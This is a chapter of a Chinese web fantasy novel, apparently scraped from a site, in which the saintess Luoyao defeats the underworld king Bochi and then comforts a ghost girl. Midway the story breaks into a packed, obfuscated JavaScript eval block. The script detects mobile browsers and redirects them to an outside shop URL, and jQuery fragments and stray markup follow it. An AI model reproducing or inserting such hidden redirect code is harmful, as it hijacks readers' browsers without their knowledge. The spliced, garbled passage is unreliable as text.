26. 白夜魂游(七)

作品:《圣女救世指南

    正午时分,尽欢楼的队伍进入冥都,驶进宫门,轻车熟路登上了冥宫最深处的大祭坛。


    祭坛上少有人烟,一眼望不到边际,肃穆又宽阔。珞瑶和炎庚随着三千魂魄被运进去,隔着囚车,看见了御座上的伯池。


    想必伯池早已收到了消息,对在此看见炎庚并不意外。他坐在上首,脸色阴沉之余,还含着属于胜者的得色。


    赶魂人向伯池俯首行礼,知他识得炎庚,便没有再介绍,于是立在御座旁,将矛头对准了珞瑶。


    “此女自称是界主殿的女官,她身上有界主殿的令牌。”


    伯池颇有兴致地眯起了眼睛,他走下御座,缓步来到囚车前,与蛰伏已久的珞瑶对上了视线。


    两人目光相触,结果如珞瑶所料。冥王没有看出端倪,只分辨她的面容,认出了囚笼里的女子确是自己眼熟的某个女官。


    不过相比一个微不足道的女官,他当然对炎庚这个敌视多年、却碍于种种始终无法拔除的眼中钉更感兴趣。


    在确定了珞瑶的“真实”身份后,伯池大笑起来,“连本王手下的人都能策反,嬴氏之人果真手段了得,哪怕只是区区一个养子。”


    炎庚当下所处的境遇不利,却不见示弱,勾起唇角,冷冷回敬了一句:“冥王谬赞。”


    伯池脸上的笑消失了,鹰眸中露出阴鸷的光,对侍从道:“押他出来。”


    侍从齐齐守在两侧,护卫着他们的王,伯池手一挥,让人悉数退下,独自走到被押到殿下的炎庚面前。


    随后,伯池的手如夺命的铁钳,一把掐住了他脖子!


    “早知道养虎为患,我三百年前就不应心软。”伯池面露狠戾,声音从牙缝里挤出来。


    炎庚呼吸困难,却笑得更恣意,“虚伪,你吞噬三十万具魂魄求长生之术,身上积攒的罪孽足以永世不得入轮回……”


    “那又如何?只要杀了你二人,还有何人知道我的罪!”


    伯池眼中闪过杀意。许是成功抓捕到炎庚一事让他尝到了胜利的甜头,此时本是最该加以防备的时候,他却刚愎自用地放松了警惕。


    炎庚一声嗤笑,艰难道:“圣女,你都听见了吧?”


    圣女?


    伯池为他突如其来的话语所惊,脸色一变,退后去好几步。


    紧接着,伯池有所察觉,遽然抬眼看向不远处囚车里的女子。这一次,她的眼神变了,不再像方才一样内敛沉默,而是凌厉如冰,含着毫不掩藏的锋芒,直直射向他。


    那双令人不敢直视的瞳眸,缓缓泛起灰蓝色的光。


    囚车被柔滑如水的袖角一抽,瞬间碎裂成了好几半,珞瑶冲开封印,几步飞向了空中,眼下昙花纹若隐若现。


    她厉喝:“伯池,还不束手就擒!”


    想让一个罪孽深重的人迷途知返不是那么容易的事,在绝对的力量面前,诚然有人会选择缴械投降,但还存在一部分病入膏肓者,他们反而会被眼前的现实激怒,宁愿放手一搏,与对面之人不死不休。


    “绝无可能!”


    伯池显然是后者,从圣女潜伏于此的震惊和慌乱中回过神后,他面露凶光,身侧的赶魂人会意,率先向珞瑶冲了上去,那些身手了得的随侍也紧随其后,抽出了腰间佩剑。


    众人只听命于冥王,竟没有半分犹豫,很快将珞瑶包围了起来。


    然而,现出真身修为的珞瑶岂还是方才的孱弱模样,即使赶魂人在尽欢楼叱咤风云,如今也别想伤到她分毫。


    赶魂人迅速逼近珞瑶,枯骨掌心汇聚起刺眼的鬼火,珞瑶信手一扬,那致命的光焰便迎风而灭!


    赶魂人大骇,却毫无还手之力,如一粒尘埃被风控制般急速后退,撞上大祭坛角落里的蟠龙柱。


    一声巨响,脚下的地面剧烈地摇晃了几下,原地踯躅不前的守卫悉数被震翻在地!


    珞瑶无心浪费时间,打算先将困在这里的无辜百姓放出去再与他们算账,但伯池岂会答应。当祭坛上的结界将要被破开时,他疾冲上去,逼退了珞瑶,竭力将那道结界修补了回去。


    电闪雷鸣,天边隆隆作响,两人各自飞向异端,剑拔弩张地对峙。


    伯池一面出招,一面扬声大喝,试图将珞瑶说服:“这是我冥族内部之事,圣女何必插手?本王可没有阻碍澜渊追剿幽祟!”


    “那些无辜百姓不是你一人的私有,你无权支配他们的性命。”珞瑶道。


    两人势均力敌,一时看不出何人占上风,伯池:“天下向来弱肉强食,用他们的命换取本王的长生,增进整个冥界的实力,何错之有!”


    “妄言。”她寒声。


    轻光绫收到主人的召唤,从虚空中乘风而来,缠绕上珞瑶的手臂和腰际,抽打出去的一瞬间如同裹挟着万钧之势。


    伯池未能防备,因这一下失去平衡,重重摔落到地面上,喷出了一口鲜血。


    他醉心长生之术,已是无可救药了。


    珞瑶落向地面,缓步走近他,伯池无端笑起来,声音粗哑,又好像带着某种不知名的决然。


    “圣女,就算你实力再强,现在也是孑然一身,鱼和熊掌,怕是不可兼得……”


    她一顿,心中霎时浮起了一种不好的预感。


    一刹那,珞瑶猛地想起了大殿下仍被控制着的炎庚。


    她回过头,以迅雷不及掩耳之势赶到他身旁,想替他解开囚索,炎庚却平静地注视着她,摇了摇头,“没用的,伯池提前在祭坛上设下了针对嬴氏的封印,其中也包括我。”


    珞瑶惊诧,果然施法几次也没能劈开那道坚韧的囚索。


    不过片刻,伯池站了起来,用术法控制了炎庚,她欲阻拦,莹蓝色的光柱刚刚触及炎庚的身体,就被一道强劲的刀光拦腰斩断了。


    炎庚被牵引着,离她越来越远。那双暗红色的眸子里流露出向死而生的快然,全无惊惧之意,对她说了四个字:“我愿赴死。”


    之后他还说了什么,珞瑶没能听清,只看见他双唇短暂开合,好像唤了她的名字。


    伯池恢复了内力,甚至比方才精神百倍,气焰嚣张地立在祭坛上空,脚下踩着惊惶不已的黎民,手中捏着炎庚的命。


    在他的另一手里,弯刀在浮空中划出冰寒的青影,与闪电一道割破了脆弱的天穹。


    “就算败局已定,我也要有人为我陪葬!到底是要这三千庶民,还是要自己圣使的命,就看你的选择了。”


    冥王的声音从高处传来,传进珞瑶的耳朵。


    稀疏的雨幕里,她看清了那把神器。朔月刀在认主后会反哺其主,使其功力大增,人与刀并肩作战时表现得最为显著,想必这就是伯池迅速恢复的原因了。


    方才她略胜一筹,如今伯池拿出朔月刀,必然会使形势有所动摇,估量现在的实力差距,若她与伯池硬碰硬,定难逃两败俱伤的结局。


    鱼和熊掌不能兼得……


    若她非要兼得呢?


    珞瑶沉着面容,霜华流玉般的裙袍在风雨中猎猎飘扬。


    伯池步步紧逼,神色越来越猖狂,下一瞬,珞瑶疾冲了出去,如光剑流星般跃上浮空,腕上缠着的轻光绫强光闪动,向朔月刀逼近——


    她从不回避玉石俱焚的结局,只要对方敢奉陪到底。


    见珞瑶出手,伯池手中刀光青影渐盛,两人皆使出了十成的力,就在将要相撞之时,一道愠怒的声音自天外响起,“你还没有能耐要挟她!”


    神谕现世,如巨石入海,激起浪涌的回音,与此同时,淡金色神光在空中突现,显出了三尺长剑的轮廓。


    此剑属于光明神,名曰“同尘”。


    听见那道声音后,珞瑶的心陡然松驰了,却没有停下动作。


    她抓住机会,手中绫罗化作长鞭,向伯池狠狠抽了过去!


    “啪——!”


    刹那间,绫罗与长剑融为一体,莹蓝色与淡金色神光形成了合力,伯池骇然失色,如一只残破风筝般被无情击落,祭坛四面石柱尽毁,银制的界主御座也被震了个粉碎。


    风雷涌动之时,冥王口鼻出血,倒在了一片狼藉的御座前。羲洵自云中现身,手提长剑,眉间神的印迹象征光明和温暖,此刻成了无声的威压。


    “朔月刀,是我亲自交到你手里的。”


    他走到伯池面前,声音冰冷,“你拿我给你的东西,伤她性命?”


    跌落在一旁的弯刀亦为神力所慑,光芒变得暗淡许多,它飘进羲洵手中,后者毫不吝惜,掌中用力。


    一声闷响,天下趋之若鹜的神器被毁去,转眼化作一滩齑粉,消散在了万丈虚空里。


    ……


    珞瑶的消息传到神山后,伯池犯下的罪行算是坐实了,如今众神赶至冥界,又亲眼看见祭坛上囚车里关押着的百姓,已然证据确凿。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17262615|197243||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>那些无辜卷进纷争的无辜平民被悉数释放,至于祭坛上的守卫和以赶魂人为首的一干乌合之众则是帮凶,罪责难逃。


    一切皆有神明料理,另一边,冥王孤零零地瘫在残垣断壁里,目光不复昔日锐利,变得浑浊且涣散。


    伯池的修为已被废去,在此不过是苟延残喘,恍惚间,他眼前出现了一个人影,却看不清晰,只能隐约辨认出那人身量高大,一身黑衣。


    “杀……杀了……嬴……”


    弥留之际,伯池思绪飘然,下意识说出的仍是内心最深的执念,那人没说话,发出了一声嘲讽的哂笑。


    从这熟悉的声音,伯池分辨出了眼前人的身份,却说不出完整的话语,唯有不甘地从喉中发出“嗬、嗬”的声音。


    身后传来脚步声,纭姬搀扶着玄衣妇人缓缓走来,炎庚低首,唤了一声:“母亲。”


    他主动让开了位置。妇人走近,神情不是全然的喜悦,亦不是伤怀、愤怒,好像大仇得报的痛快里夹杂着几分怜悯。


    嬴夫人弯下腰,从伯池腰间取走了象征界主的令牌,滚着银边的华丽衣袍也被她踩在了脚下。


    她说:“伯池,你最宝贝的江山大业,现在归我了。”


    ……


    一场大战过后,天地归于平静。冥宫繁华不再,废墟七零八落堆叠起来,从祭坛一直蔓延到了宫门之外。


    小雨下得淅淅沥沥,洗刷着一众不知名的荒凉殿宇。珞瑶独自停在一处屋檐下,望着远处祭坛上熙攘的人群,却没有凑上去,紧绷已久的精神终于松弛了下来。


    方才与伯池过招时没觉得,如今闲下来,才感受到小腹的痛感尤为清晰。


    尽管有炎庚输送了一部分内力,但她为了不提前暴露身份没有及时疗伤,坚持到现在,到底是有损本体灵息。


    珞瑶感到疲惫极了,摸索着手边的墙壁和石柱,缓缓蹲了下来。


    她流了太多血,原本裙上沾染着的已经凝固了,现在又被雨水冲了下来,洗刷、稀释,在她脚下一圈留下绯红色的涟漪。


    旁边就是常年冰封的宫河,不知何时解冻了,河水重获了自由,争先恐后地向东流着。


    雨幕里,珞瑶看见河面倒映的疮痍影子,很快那些画面又被飞溅的水点击碎,消失不见了。


    雨越下越大,残破的屋檐已无力遮挡,猖狂的雨丝纷纷斜飞进来。就在珞瑶使力想站起来的时候,那些冰凉的雨滴忽然消失了,在她头顶撑起了一片阴影。


    珞瑶抬起头,看见稚嫩的女孩站在她面前,居然是小然。


    明明拿着伞,她的模样却很是狼狈,单薄的衣衫湿答答的,满脸不知是雨水还是泪痕。


    女孩无措地红着眼睛,似乎想要解释什么,最后却什么都没有说,嚎啕大哭起来。


    “我错了,对不住,真的对不住……”


    在被押送至冥都的路上,炎庚言辞隐晦,向珞瑶透露了许多,比如那把伤了她的短剑来历不凡,很可能是伯池赐予赶魂人的灵物;再如赶魂人有摄魂的本领,能让失去记忆的囚徒为己所用,进而指使他们、利用他们。


    被掳下阴间的人丢了性命,终日囚于不见天日的暗室,岂有自主的权利,小然就是如此。


    好在她还没来得及铸成大错,赶魂人已死,摄魂术便失效了。


    雨水不断积聚,压弯了伞面,不堪重负地向她倾斜,小然微弱的魂魄暴露在雨中,显得愈发黯淡。


    “对不住,对不住……”


    她泣不成声,只是翻来覆去地重复着这三个字,也许被抽走记忆以后,她已不记得其他道歉的话语该怎样说了。


    少女的哭声仿佛有镇痛之效,短暂地麻木了小腹传来的痛感。珞瑶握住伞柄,用手包裹住小然的手,把歪向自己的伞面缓缓扶正。


    跳珠般的雨点顺着伞骨,均匀地滚向四面八方,用水幕隔绝出一方窄小的天地。


    萧索的风不曾停歇,站在伞下,小然脸上的雨水很快被吹干了,只剩下斑驳的泪痕,旧的去了,新的又来。


    珞瑶说不出是什么感觉,仿佛心也像冥宫里的砖瓦那样,在寂静中塌下去了一块。


    陌生的情绪牵动着名为“圣女”的那一根心弦,自降世以来,她从未如此清晰地看见众生的苦难,听见生灵万物的哭声。


    望着少女哭红的泪眼,珞瑶屏息,轻轻用指腹擦去了她眼角的泪珠。